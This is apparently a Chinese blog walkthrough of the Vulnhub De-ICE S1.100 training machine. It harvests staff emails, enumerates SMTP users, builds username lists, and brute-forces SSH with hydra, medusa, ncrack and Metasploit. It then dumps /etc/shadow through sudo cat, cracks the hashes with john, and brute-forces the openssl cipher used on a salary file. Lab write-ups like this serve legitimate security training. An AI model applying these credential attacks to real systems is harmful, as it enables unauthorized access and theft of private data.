Vulnhub-靶机-De_ICE_S1.100

Walkthroughs about De-ICE_S1.100

curl http://10.57.31.34/copyright.txt |grep @

EMAIL:   pentestlab@De-ICE.net  (preferred)
     twilhelm@herot.net
     twilhelm@heorot.net    (business only)

we can find the site email information and use this brute force 
curl http://10.57.31.34/index2.php |grep @

Head of HR:  Marie Mary - marym@herot.net (On Emergency Leave)<BR>
Employee Pay:  Pat Patrick - patrickp@herot.net<BR>
Travel Comp:  Terry Thompson - thompsont@herot.net<BR>
Benefits:  Ben Benedict - benedictb@herot.net<BR>
Director of Engineering:  Erin Gennieg - genniege@herot.net<BR>
Project Manager:  Paul Michael - michaelp@herot.net<BR>
Engineer Lead:  Ester Long - longe@herot.net<BR>
Sr. System Admin:  Adam Adams - adamsa@herot.net<BR>
System Admin (Intern): Bob Banter - banterb@herot.net<BR>
System Admin:  Chad Coffee - coffeec@herot.net<BR>

  • 尝试获取邮件名称

  • cewl http://10.57.31.34/index2.php -e -n -w email1.txt

  • 根据站点页面信息生成字典

  • cewl http://10.57.31.34/index2.php -w de_index2_ok_dic.txt

  • 其他方式生成字典工具crunch

  • 生成最小长度为3 最大长度为4切字典中含有1234其中的数字

  • crunch 3 4 1234 > num.txt

  • 最终结果

twilhelm@herot.net
twilhelm@heorot.net
patrickp@herot.net
marym@herot.net
patrickp@herot.net
thompsont@herot.net
benedictb@herot.net
genniege@herot.net
michaelp@herot.net
longe@herot.net
adamsa@herot.net
banterb@herot.net
coffeec@herot.net
  • 使用工具smtp-user-enum枚举站点上的email
smtp-user-enum -M VRFY -U /root/Documents/de_ice_s1.100/dictionary/gather_mail/email.txt -t 10.57.31.34 
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /root/Documents/de_ice_s1.100/dictionary/gather_mail/email.txt
Target count ............. 1
Username count ........... 14
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ 

######## Scan started at Tue Nov 12 13:30:43 2019 #########
10.57.31.34: banterb@herot.net exists
10.57.31.34: genniege@herot.net exists
10.57.31.34: adamsa@herot.net exists
10.57.31.34: coffeec@herot.net exists
10.57.31.34: benedictb@herot.net exists
10.57.31.34: longe@herot.net exists
10.57.31.34: michaelp@herot.net exists
10.57.31.34: marym@herot.net exists
10.57.31.34: patrickp@herot.net exists
10.57.31.34: thompsont@herot.net exists
10.57.31.34: pentestlab@De-ICE.net exists
10.57.31.34: Email addresses found exists
10.57.31.34: twilhelm@heorot.net exists
10.57.31.34: twilhelm@herot.net exists
######## Scan completed at Tue Nov 12 13:30:48 2019 #########
14 results.

  • 过滤邮件用户

  • awk -F@ '{ print $1 }' email.txt > emailuser.txt

  • 尝试搜集真实用户姓名，然后根据真实用户的姓名生成可能存在的用户名

Head of HR:  Marie Mary - marym@herot.net (On Emergency Leave)
Employee Pay:  Pat Patrick - patrickp@herot.net
Travel Comp:  Terry Thompson - thompsont@herot.net
Benefits:  Ben Benedict - benedictb@herot.net
Director of Engineering:  Erin Gennieg - genniege@herot.net
Project Manager:  Paul Michael - michaelp@herot.net
Engineer Lead:  Ester Long - longe@herot.net
Sr. System Admin:  Adam Adams - adamsa@herot.net
System Admin (Intern): Bob Banter - banterb@herot.net
System Admin:  Chad Coffee - coffeec@herot.net

  • curl http://10.57.31.34/index2.php | grep -E -o "\b[a-zA-Z0-9.-]+@\b" | cut -d "@" -f1 > usernames.txt

  • 直接通过上述命令过滤出用户名

  • 另一种方法过滤取的用户名

  • awk -F: '{print 2}' rawusername.txt | awk -F- '{print1}' > okusername.txt

  • 根据网站生成的姓名如下：

  Marie Mary 
  Pat Patrick 
  Terry Thompson 
  Ben Benedict 
  Erin Gennieg 
  Paul Michael 
  Ester Long 
  Adam Adams 
 Bob Banter 
  Chad Coffee 

#!/usr/bin/env python
import sys

if __name__ == "__main__": 
    if len(sys.argv) != 2:
        print "usage: %s names.txt" % (sys.argv[0])
        sys.exit(0)

    for line in open(sys.argv[1]):
        name = ''.join([c for c in line if  c == " " or  c.isalpha()])

        tokens = name.lower().split()
        fname = tokens[0]
        lname = tokens[-1]

        print fname + lname     # johndoe
        print lname + fname     # doejohn
        print fname + "." + lname   # john.doe
        print lname + "." + fname   # doe.john
        print lname + fname[0]      # doej
        print fname[0] + lname      # jdoe
        print lname[0] + fname      # djoe
        print fname[0] + "." + lname    # j.doe
        print lname[0] + "." + fname    # d.john
        print fname         # john
        print lname         # joe
  • 这个脚本有110个用户名，可根据实际情况再筛检一下用户名
  • python namemash.py okusername.txt > finalokusername.txt
mariemary
marymarie
marie.mary
mary.marie
marym
mmary
mmarie
m.mary
m.marie
marie
mary
patpatrick
patrickpat
pat.patrick
patrick.pat
patrickp
ppatrick
ppat
p.patrick
p.pat
pat
patrick
terrythompson
thompsonterry
terry.thompson
thompson.terry
thompsont
tthompson
tterry
t.thompson
t.terry
terry
thompson
benbenedict
benedictben
ben.benedict
benedict.ben
benedictb
bbenedict
bben
b.benedict
b.ben
ben
benedict
eringennieg
genniegerin
erin.gennieg
gennieg.erin
genniege
egennieg
gerin
e.gennieg
g.erin
erin
gennieg
paulmichael
michaelpaul
paul.michael
michael.paul
michaelp
pmichael
mpaul
p.michael
m.paul
paul
michael
esterlong
longester
ester.long
long.ester
longe
elong
lester
e.long
l.ester
ester
long
adamadams
adamsadam
adam.adams
adams.adam
adamsa
aadams
aadam
a.adams
a.adam
adam
adams
bobbanter
banterbob
bob.banter
banter.bob
banterb
bbanter
bbob
b.banter
b.bob
bob
banter
chadcoffee
coffeechad
chad.coffee
coffee.chad
coffeec
ccoffee
cchad
c.coffee
c.chad
chad
coffee

  • 这里有个小技巧，可以通过分析目标系统，发现目标站点给出的信息中有描述系统管理员，高级系统管理员对应的姓名和邮件地址，根据这两个系统管理员的用户进行尝试组合可能存在的用户名然后进行暴力破解

  • 开始暴力破解，使用多种方式破解

  • hydra -L emailuser.txt -P index2dict_6.txt ssh://10.57.31.34

  • hydra -L emailuser.txt -P index2dict_6.txt 10.57.31.34 ssh

  • medusa -h 10.57.31.34 -U emailuser.txt -P index2dict_6.txt -M ssh

  • ncrack -v -U emailuser.txt -P de_index2_ok_dic.txt 10.57.31.34:22

========================================================================

  • 使用msf进行ssh暴力破解

  • use auxiliary/scanner/ssh/ssh_login

  • set user_file /root/Documents/de_ice_s1.100/dictionary/emailuser.txt

  • set pass_file /root/Documents/de_ice_s1.100/dictionary/de_index2_ok_dic.txt

  • exploit

  • 最终根据系统管理员的用户生成一组用户名进行尝试用户名和密码都一样的尝试测试，使用hydra进行爆破，发现很快就破解出来了bbanter的账户和密码

  • hydra -L emailuser.txt -P emailuser.txt 10.57.31.34 ssh

hydra -L emailuser.txt -P emailuser.txt 10.57.31.34 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-11-12 19:27:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 330 login tries (l:3/p:110), ~21 tries per task
[DATA] attacking ssh://10.57.31.34:22/
[22][ssh] host: 10.57.31.34   login: bbanter   password: bbanter
[STATUS] 236.00 tries/min, 236 tries in 00:01h, 105 to do in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-11-12 19:29:08
  • 发现用户名：bbanter 密码也是：bbanter
  • 使用这个用户名和密码等目标系统，然后查看是否含有其他账户和账户对应的权限
  • cat /etc/passwd
bbanter@slax:~$ cat /etc/passwd
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
aadams:x:1000:10:,,,:/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash
ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash
  • cat /etc/group
bbanter@slax:~$ cat /etc/group
root::0:root
bin::1:root,bin,daemon
daemon::2:root,bin,daemon
sys::3:root,bin,adm
adm::4:root,adm,daemon
tty::5:
disk::6:root,adm
lp::7:lp
mem::8:
kmem::9:
wheel::10:root
floppy::11:root
mail::12:mail
news::13:news
uucp::14:uucp
man::15:
audio::17:
video::18:
cdrom::19:
games::20:
slocate::21:
utmp::22:
smmsp::25:smmsp
mysql::27:
rpc::32:
sshd::33:sshd
gdm::42:
shadow::43:
ftp::50:
pop::90:pop
scanner::93:
nobody::98:nobody
nogroup::99:
users::100:
console::101:
  • 通过执行上述两条命令发现 aadams账户的 GID=10 含有root权限，可推测出其权限更高; aadams:gid=10-->wheel:gid=10:root
aadams:x:1000:10:,,,:/home/aadams:/bin/bash  #gid=10
wheel::10:root                               #gid=10

  • 所以直接使用密码字典对应用户aadams进行暴力破解

  • https://github.com/vanhauser-thc/thc-hydra

  • hydra -l aadams -P /usr/share/wordlists/rockyou.txt 10.57.31.34 ssh

  • hydra -l aadams -P /usr/share/wordlists/rockyou.txt -e nsr -u -t 128 10.57.31.34 ssh

  • -u 对密码字典进行排序，让破解速度更快

  • -e nsr

  • n 测试是否存在空密码

  • s 测试是否和用户一样的密码

  • r 反向测试，尝试用户名是密码字典，密码是用户名

  • 差不多使用hydra跑了一个下午

hydra -l aadams -P /usr/share/wordlists/rockyou.txt 10.57.31.34 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-11-12 14:57:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.57.31.34:22/
[STATUS] 209.00 tries/min, 209 tries in 00:01h, 14344191 to do in 1143:53h, 16 active
[STATUS] 191.67 tries/min, 575 tries in 00:03h, 14343825 to do in 1247:18h, 16 active
[STATUS] 178.29 tries/min, 1248 tries in 00:07h, 14343152 to do in 1340:51h, 16 active
[STATUS] 175.60 tries/min, 2634 tries in 00:15h, 14341766 to do in 1361:13h, 16 active
[STATUS] 175.94 tries/min, 5454 tries in 00:31h, 14338946 to do in 1358:22h, 16 active
[STATUS] 175.51 tries/min, 8249 tries in 00:47h, 14336151 to do in 1361:23h, 16 active
[STATUS] 175.22 tries/min, 11039 tries in 01:03h, 14333361 to do in 1363:22h, 16 active
[STATUS] 175.28 tries/min, 13847 tries in 01:19h, 14330553 to do in 1362:39h, 16 active
[STATUS] 175.19 tries/min, 16643 tries in 01:35h, 14327757 to do in 1363:05h, 16 active
[STATUS] 175.19 tries/min, 19446 tries in 01:51h, 14324954 to do in 1362:49h, 16 active
[STATUS] 174.96 tries/min, 22220 tries in 02:07h, 14322180 to do in 1364:20h, 16 active
[STATUS] 175.04 tries/min, 25031 tries in 02:23h, 14319369 to do in 1363:26h, 16 active
[STATUS] 175.09 tries/min, 27840 tries in 02:39h, 14316560 to do in 1362:45h, 16 active
[STATUS] 175.13 tries/min, 30647 tries in 02:55h, 14313753 to do in 1362:15h, 16 active
[STATUS] 175.28 tries/min, 33479 tries in 03:11h, 14310921 to do in 1360:45h, 16 active
[22][ssh] host: 10.57.31.34   login: aadams   password: nostradamus
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-11-12 18:14:56
  • 终于把密码跑出来了 username:aadams passowrd:nostradamus
[22][ssh] host: 10.57.31.34   login: aadams   password: nostradamus
  • 使用username:aadams passowrd:nostradamus 登录目标主机
  • 执行sudo -l
aadams@slax:~$ sudo -l
Password:
User aadams may run the following commands on this host:
    (root) NOEXEC: /bin/ls
    (root) NOEXEC: /usr/bin/cat
    (root) NOEXEC: /usr/bin/more
    (root) NOEXEC: !/usr/bin/su *root*
  • 发现aadams含有sudo 执行cat的权限
  • 执行sudo cat /etc/shadow
aadams@slax:~$ sudo cat /etc/shadow 
root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
aadams@slax:~$ 

* 尝试查看家目录的所有文件和目录，包括隐藏文件，并且显示大小，排序

  • ls -lsaRhS /home/

  • 执行 sudo cat /etc/passwd

aadams@slax:~$ sudo cat /etc/passwd 
Password:
Sorry, try again.
Password:
Sorry, try again.
Password:
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
aadams:x:1000:10:,,,:/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash
ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash
  • 开始使用john 暴力破解root和其他用户
  • unshadow slaxpasswd.txt slaxshadow.txt > finalshadow.txt
  • john --wordlist=/usr/share/wordlists/rockyou.txt finalshadow.txt
john --wordlist=/usr/share/wordlists/rockyou.txt finalshadow.txt 

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nostradamus      (aadams)
tarot            (root)
hierophant       (ccoffee)
3g 0:00:00:45 DONE (2019-11-12 19:47) 0.06607g/s 310573p/s 355275c/s 355275C/s !!!0mc3t..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

john --show finalshadow.txt 
root:tarot:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
aadams:nostradamus:1000:10:,,,:/home/aadams:/bin/bash
ccoffee:hierophant:1002:100:,,,:/home/ccoffee:/bin/bash

3 password hashes cracked, 1 left

  • 发现如下密码

  • root:tarot

  • aadams:nostradamus

  • ccoffee:hierophant

  • 使用root登录目标主机发现如下信息

  • find /home/ftp/incoming/ have salary_dec2003.csv.enc

  • 尝试查看此文件的类型

  • file salary_dec2003.csv.enc

  • 发现是数据类型没有什么作用

  • 现在需要解密这个文件，但是不知道是用什么加密方式和对应密码

  • 通过观察发现 cat /etc/passwd faxian tishi "DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION"

  • root's tarot

  • 可以通过脚本遍历加密文件是使用的哪种加密算法

  • openssl list-cipher-commands 此命令是列出所有的加密方式

root@slax:/home/ftp/incoming# openssl list-cipher-commands
aes-128-cbc
aes-128-ecb
aes-192-cbc
aes-192-ecb
aes-256-cbc
aes-256-ecb
base64
bf
bf-cbc
bf-cfb
bf-ecb
bf-ofb
cast
cast-cbc
cast5-cbc
cast5-cfb
cast5-ecb
cast5-ofb
des
des-cbc
des-cfb
des-ecb
des-ede
des-ede-cbc
des-ede-cfb
des-ede-ofb
des-ede3
des-ede3-cbc
des-ede3-cfb
des-ede3-ofb
des-ofb
des3
desx
rc2
rc2-40-cbc
rc2-64-cbc
rc2-cbc
rc2-cfb
rc2-ecb
rc2-ofb
rc4
rc4-40
root@slax:/home/ftp/incoming# openssl list-cipher-commands | wc -l
42
  • 尝试写如下脚本
  • vi decryptslaxfile.sh
#!/bin/bash 

ciphers=`openssl list-cipher-commands`
for i in $ciphers; do
openssl enc -d -${i} -in salary_dec2003.csv.enc -k tarot > /dev/null 2>&1
if [[ $? -eq 0 ]]; then
    echo "Cipher is $i: openssl enc -d -${i} -in salary_dec2003.csv.enc -k tarot -out resultdecryptfile.csv"
    exit
fi
done
  • or
#!/bin/bash

# Usage:
if [[ -z $1 ]]; then
    echo 'USAGE: ./brutedecypt.sh <input file> <output file> <password> [cipher]'
fi

# Arrange variables
INPUTFILE=$1
OUTPUTFILE=$2
PASSWORD=$3
CIPHER=$4

# If a specific cipher is not given then
# get list of ciphers using by openssl
if [[ -z $CIPHER ]]; then
    CIPHER=`openssl list-cipher-commands`
fi

#echo $CIPHER

# For each cipher type run the following command for each password
# (unless specific password given)
for c in $CIPHER; do
    openssl enc -d -${c} -in ${INPUTFILE} -k ${PASSWORD} > /dev/null 2>&1
    
    # Check to see if the command didn't fail the decryption
    # If it didn't alert user
    if [[ $? -eq 0 ]]; then
        # Display commands of possible decryption methods
        # Appends the cipher ont he end of the output file so more than one commands
        # Can be run at the same time
        echo "openssl enc -d -$c -in $INPUTFILE -out $OUTPUTFILE-$c -k $PASSWORD"
        #exit 0
    fi
done

  • ./brutedecrypt.sh salary_dec2003.csv.enc results/salary_dec2003.csv tarot

  • 输出结果如下 :

  • Cipher is aes-128-cbc: openssl enc -d -aes-128-cbc -in salary_dec2003.csv.enc -k tarot -out resultdecryptfile.csv

  • 尝试解密 salary_dec2003.csv.enc

  • openssl enc -d -v -aes-128-cbc -in salary_dec2003.csv.enc -k tarot -out resultdecryptfile.csv

  • 查看解密结果

  • head resultdecryptfile.csv or strings resultdecryptfile.csv

  • 确认ftp服务是否正常可以使用下面这个命令查找文件测试

  • find /etc -name ftp -type f

root@slax:~# find /etc -name *ftp* -type f
/etc/rc.d/rc.vsftpd
/etc/logrotate.d/vsftpd
/etc/vsftpd.conf
  • 免责申明:本人所撰写的文章，仅供学习和研究使用，请勿使用文中的技术或源码用于非法用途，任何人造成的任何负面影响，或触犯法律，与本人无关
最后编辑于 ：
©著作权归作者所有,转载或内容合作请联系作者
  • 人面猴
    序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
    沈念sama阅读 204,530评论 6赞 478
  • 死咒
    序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
    沈念sama阅读 86,403评论 2赞 381
  • 救了他两次的神仙让他今天三更去死
    文/潘晓璐 我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
    开封第一讲书人阅读 151,120评论 0赞 337
  • 道士缉凶录：失踪的卖姜人
    文/不坏的土叔 我叫张陵，是天一观的道长。 经常有香客问我，道长，这世上最难降的妖魔是什么？ 我笑而不...
    开封第一讲书人阅读 54,770评论 1赞 277
  • 港岛之恋（遗憾婚礼）
    正文 为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
    茶点故事阅读 63,758评论 5赞 367
  • 恶毒庶女顶嫁案：这布局不是一般人想出来的
    文/花漫 我一把揭开白布。 她就那样静静地躺着，像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上，一...
    开封第一讲书人阅读 48,649评论 1赞 281
  • 城市分裂传说
    那天，我揣着相机与录音，去河边找鬼。 笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。 我是一名探鬼主播，决...
    沈念sama阅读 38,021评论 3赞 398
  • 双鸳鸯连环套：你想象不到人心有多黑
    文/苍兰香墨 我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
    开封第一讲书人阅读 36,675评论 0赞 258
  • 万荣杀人案实录
    序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
    沈念sama阅读 40,931评论 1赞 299
  • 护林员之死
    正文 独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2赞 321
  • 白月光启示录
    正文 我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1赞 330
  • 活死人
    序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
    沈念sama阅读 33,410评论 4赞 321
  • 日本核电站爆炸内幕
    正文 年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
    茶点故事阅读 39,004评论 3赞 307
  • 男人毒药：我在死后第九天来索命
    文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0赞 19
  • 一桩弑父案，背后竟有这般阴谋
    文/苍兰香墨 我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1赞 260
  • 情欲美人皮
    我被黑心中介骗来泰国打工， 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2赞 350
  • 代替公主和亲
    正文 我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2赞 343

推荐阅读更多精彩内容

  • 2018-06-11
    mean to add the formatted="false" attribute?.[ 46% 47325/...
    ProZoom阅读 2,689评论 0赞 3
  • Medusa和Hydra快速入门手册：02
    本文是Medusa和Hydra快速入门手册的第二部分，第一部分的传送门这两篇也是后续爆破篇的一部分，至于字典，放在...
    LinuxSelf阅读 2,833评论 0赞 4
  • Windows CMD命令大全
    运行操作 CMD命令：开始－>运行－>键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小沐子_IT阅读 2,051评论 0赞 4
  • cmd命令
    一、命令行 1. calc-----------启动计算器 2.certmgr.msc----证书管理实用程序 3...
    小小辛_c阅读 698评论 0赞 2
  • 佛山行
    意识到自己不能再陷下去，现阶段应以努力工作增加学识能力为重，我决定还是去到佛山听课，毕竟换一座城换一种心情，这也是...
    彭彭吃草莓阅读 140评论 0赞 0